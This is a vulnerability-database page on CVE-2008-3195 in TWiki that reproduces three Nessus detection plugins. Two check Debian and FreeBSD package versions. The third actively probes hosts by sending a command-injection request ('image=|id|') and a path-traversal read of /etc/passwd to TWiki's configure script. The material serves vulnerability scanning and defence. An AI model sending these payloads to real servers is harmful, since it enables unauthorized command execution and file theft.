Vulnerabilities > CVE-2008-3195 - Path Traversal vulnerability in Twiki

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-1639. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(34246);
  script_version("1.14");
  script_cvs_date("Date: 2019/08/02 13:32:21");

  script_cve_id("CVE-2008-3195");
  script_xref(name:"DSA", value:"1639");

  script_name(english:"Debian DSA-1639-1 : twiki - command execution");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"It was discovered that twiki, a web-based collaboration platform,
didn't properly sanitize the image parameter in its configuration
script. This could allow remote users to execute arbitrary commands
upon the system, or read any files which were readable by the
webserver user."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=499534"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.debian.org/security/2008/dsa-1639"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the twiki package.

For the stable distribution (etch), this problem has been fixed in
version 1:4.0.5-9.1etch1."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cwe_id(22);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:twiki");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:4.0");

  script_set_attribute(attribute:"patch_publication_date", value:"2008/09/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/09/22");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"4.0", prefix:"twiki", reference:"1:4.0.5-9.1etch1")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(34031);
  script_version("1.18");
  script_cvs_date("Date: 2018/08/15 16:35:42");

  script_cve_id("CVE-2008-3195");
  script_xref(name:"EDB-ID", value:"6269");
  script_xref(name:"EDB-ID", value:"6509");

  script_name(english:"TWiki bin/configure 'image' Parameter Traversal Arbitrary File Access/Execution");
  script_summary(english:"Attempts to execute a command or read a local file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a CGI script that is affected by multiple
vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of TWiki running on the remote host allows access to the
'configure' script, and fails to sanitize the 'image' parameter of
that script. When the 'action' parameter is set to 'image', an
unauthenticated attacker can exploit this issue to execute arbitrary
code or to view arbitrary files on the remote host subject to the
privileges of the web server user id.

Note that the TWiki Installation Guide says the 'configure' script
should never be left open to the public.");
  script_set_attribute(attribute:"see_also", value:"http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide");
  script_set_attribute(attribute:"see_also", value:"http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2008-3195");
  script_set_attribute(attribute:"solution", value:
"Configure the web server to limit access to 'configure', either based
on IP address or a specific user, according to the TWiki Installation
Guide referenced above. Upgrades and hotfixes are also available from
the vendor advisory listed above.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(22);

  script_set_attribute(attribute:"vuln_publication_date", value:"2008/09/20");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/09/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/08/23");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:twiki:twiki");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("twiki_detect.nasl");
  script_require_keys("installed_sw/TWiki");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("install_func.inc");

app = "TWiki";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

if ("cgi-bin" >!< dir)
{
  dir = ereg_replace(pattern:"(/[^/]+/).*", string:dir, replace:"\1");
  dir = dir + "bin/";
}
else
  dir = dir - "view";

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";
file =  mult_str(str:"../", nb:12) + "etc/passwd";
file_pat = "root:.*:0:[01]:";

# First try to execute a command.
url = "configure?action=image;image=|" + urlencode(str:cmd) + "|;type=text/plain";

res = http_send_recv3(method:"GET", item:dir + url, port:port, exit_on_fail:TRUE);

if (ereg(pattern:cmd_pat, string:res[2], multiline:TRUE))
{
  security_report_v4(
    port       : port,
    severity   : SECURITY_WARNING,
    cmd        : cmd,
    request    : make_list(build_url(qs:dir+url, port:port)),
    output     : chomp(res[2])
  );
  exit(0);
}

if (!thorough_tests) audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

# Try to read a file if command execution didn't work.
url = "configure?action=image;image=" + file + ";type=text/plain";

res = http_send_recv3(
  method       : "GET",
  item         : dir + url,
  port         : port,
  exit_on_fail : TRUE
);

# There's a problem if looks like the file.
if (ereg(pattern:file_pat, string:res[2], multiline:TRUE))
{
  file = str_replace(find:"../", replace:"", string:file);
  file = "/" + file;

  security_report_v4(
    port        : port,
    severity    : SECURITY_WARNING,
    file        : file,
    request     : make_list(build_url(qs:dir+url, port:port)),
    output      : chomp(res[2]),
    attach_type : 'text/plain'
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

#%NASL_MIN_LEVEL 80502
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2018 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(34206);
  script_version("1.15");
  script_cvs_date("Date: 2019/08/02 13:32:39");

  script_cve_id("CVE-2008-3195");
  script_xref(name:"CERT", value:"362012");

  script_name(english:"FreeBSD : twiki -- Arbitrary code execution in session files (9227dcaf-827f-11dd-9cd7-0050568452ac)");
  script_summary(english:"Checks for updated package in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote FreeBSD host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Th1nk3r reports :

The version of TWiki installed on the remote host allows access to the
'configure' script and fails to sanitize the 'image' parameter of that
script of directory traversal sequences before returning the file
contents when the 'action' parameter is set to 'image'. An
unauthenticated attacker can leverage this issue to view arbitrary
files on the remote host subject to the privileges of the web server
user id. ."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2008-3195"
  );
  # http://www.nessus.org/plugins/index.php?view=single&id=34031
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.tenable.com/plugins/nessus/34031"
  );
  # https://vuxml.freebsd.org/freebsd/9227dcaf-827f-11dd-9cd7-0050568452ac.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?9d52df7d"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected package.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cwe_id(22);

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:twiki");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2008/08/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/09/14");
  script_set_attribute(attribute:"plugin_publication_date", value:"2008/09/15");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2008-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"twiki<4.2.3")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());
  else security_warning(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");